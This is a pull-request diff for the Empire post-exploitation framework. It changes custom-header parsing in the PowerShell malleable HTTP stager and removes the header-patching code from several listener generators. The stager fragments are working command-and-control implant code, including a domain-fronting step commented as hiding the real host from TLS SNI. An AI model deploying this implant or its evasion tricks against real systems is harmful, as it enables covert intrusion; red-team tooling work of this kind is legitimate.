Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0

## [Unreleased]
- Fixed background jobs for the python agent.
- Fixed powershell stager parsing of custom headers.

## [6.7.1] - 2026-07-25
- Updated Starkiller to v3.6.0
Expand Down
28 changes: 17 additions & 11 deletions empire/server/data/agent/stagers/http_malleable/http_malleable.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -1023,18 +1023,20 @@ function Start-Negotiate {

# the User-Agent always resets for multiple calls...silly
if ($customHeaders -ne "") {
$headers = $customHeaders -split ',';
$headers = $customHeaders -split '<HEND>';
$headers | ForEach-Object {
$headerKey = $_.split(':')[0];
$headerValue = $_.split(':')[1];
#If host header defined, assume domain fronting is in use and add a call to the base URL first
#this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if ($headerKey -eq "host"){
if ($headerKey -eq "host"){
try{$ig=$WC.DownloadData($s)}catch{}};
$wc.Headers.Add($headerKey, $headerValue);
$wc.Headers.Set($headerKey, $headerValue);
}
}
$wc.Headers.Add("User-Agent",$UA);
if ($UA -ne $null -and $UA -ne "") {
$wc.Headers.Set("User-Agent",$UA)
}

# session id (8 bytes ASCII)
$ID='00000000'
Expand Down Expand Up @@ -1107,19 +1109,23 @@ function Start-Negotiate {

# the User-Agent always resets for multiple calls...silly
if ($customHeaders -ne "") {
$headers = $customHeaders -split ',';
$headers = $customHeaders -split '<HEND>';
$headers | ForEach-Object {
$headerKey = $_.split(':')[0];
$headerValue = $_.split(':')[1];
#If host header defined, assume domain fronting is in use and add a call to the base URL first
#this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if ($headerKey -eq "host"){
#If host header defined, assume domain fronting is in use and add a call to the base URL first
#this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
if ($headerKey -eq "host"){
try{$ig=$WC.DownloadData($s)}catch{}};
$wc.Headers.Add($headerKey, $headerValue);
$wc.Headers.Set($headerKey, $headerValue);
}
}
$wc.Headers.Add("User-Agent",$UA);
$wc.Headers.Add("Hop-Name",$hop);
if ($UA -ne $null -and $UA -ne "") {
$wc.Headers.Set("User-Agent",$UA)
}
if ($hop -ne $null -and $hop -ne "") {
$wc.Headers.Set("Hop-Name",$hop)
}

# stage_2: ChaCha20-Poly1305 routing with AES/HMAC(SessionKey) body
$chachaPkt2 = Build-ChaChaRoutingPacket -StagingKeyBytes $SKB -SessionId8 $ID -Language 1 -Meta 3 -Additional 0 -EncData $eb2
Expand Down
14 changes: 0 additions & 14 deletions empire/server/listeners/http.py
Original file line number Diff line number Diff line change
Expand Up @@ -529,7 +529,6 @@ def generate_stager(
stagingKey = listenerOptions["StagingKey"]["Value"]
workingHours = listenerOptions["WorkingHours"]["Value"]
killDate = listenerOptions["KillDate"]["Value"]
customHeaders = profile.split("|")[2:]

# select some random URIs for staging from the main profile
stage1 = random.choice(uris)
Expand Down Expand Up @@ -579,19 +578,6 @@ def generate_stager(
}
stager = template.render(template_options)

# Patch in custom Headers
remove = []
if customHeaders != []:
for key in customHeaders:
value = key.split(":")
if "cookie" in value[0].lower() and value[1]:
continue
remove += value
headers = ",".join(remove)
stager = stager.replace(
'$customHeaders = "";', f'$customHeaders = "{headers}";'
)

if obfuscate:
stager = self.mainMenu.obfuscationv2.obfuscate(
stager, obfuscation_command=obfuscation_command
Expand Down
14 changes: 0 additions & 14 deletions empire/server/listeners/http_hop.py
Original file line number Diff line number Diff line change
Expand Up @@ -341,7 +341,6 @@ def generate_stager(
staging_key = listener.options["StagingKey"]["Value"]
workingHours = listener.options["WorkingHours"]["Value"]
killDate = listener.options["KillDate"]["Value"]
customHeaders = profile.split("|")[2:]
session_cookie = listener.options["Cookie"]["Value"]

# select some random URIs for staging from the main profile
Expand Down Expand Up @@ -396,19 +395,6 @@ def generate_stager(
}
stager = template.render(template_options)

# Patch in custom Headers
remove = []
if customHeaders != []:
for key in customHeaders:
value = key.split(":")
if "cookie" in value[0].lower() and value[1]:
continue
remove += value
headers = ",".join(remove)
stager = stager.replace(
'$customHeaders = "";', f'$customHeaders = "{headers}";'
)

if obfuscate:
stager = self.mainMenu.obfuscationv2.obfuscate(
stager, obfuscation_command=obfuscation_command
Expand Down
2 changes: 1 addition & 1 deletion empire/server/listeners/http_malleable.py
Original file line number Diff line number Diff line change
Expand Up @@ -666,7 +666,7 @@ def generate_stager(

# patch in custom headers
if profile.stager.client.headers:
headers = ",".join(
headers = "<HEND>".join(
[
":".join([k.replace(":", "%3A"), v.replace(":", "%3A")])
for k, v in profile.stager.client.headers.items()
Expand Down
14 changes: 0 additions & 14 deletions empire/server/listeners/port_forward_pivot.py
Original file line number Diff line number Diff line change
Expand Up @@ -386,7 +386,6 @@ def generate_stager(
workingHours = listenerOptions["WorkingHours"]["Value"]
killDate = listenerOptions["KillDate"]["Value"]
host = listenerOptions["Host"]["Value"]
customHeaders = profile.split("|")[2:]

# select some random URIs for staging from the main profile
stage1 = random.choice(uris)
Expand All @@ -412,19 +411,6 @@ def generate_stager(
}
stager = template.render(template_options)

# Patch in custom Headers
remove = []
if customHeaders != []:
for key in customHeaders:
value = key.split(":")
if "cookie" in value[0].lower() and value[1]:
continue
remove += value
headers = ",".join(remove)
stager = stager.replace(
'$customHeaders = "";', f'$customHeaders = "{headers}";'
)

stagingKey = stagingKey.encode("UTF-8")
stager = listener_util.remove_lines_comments(stager)

Expand Down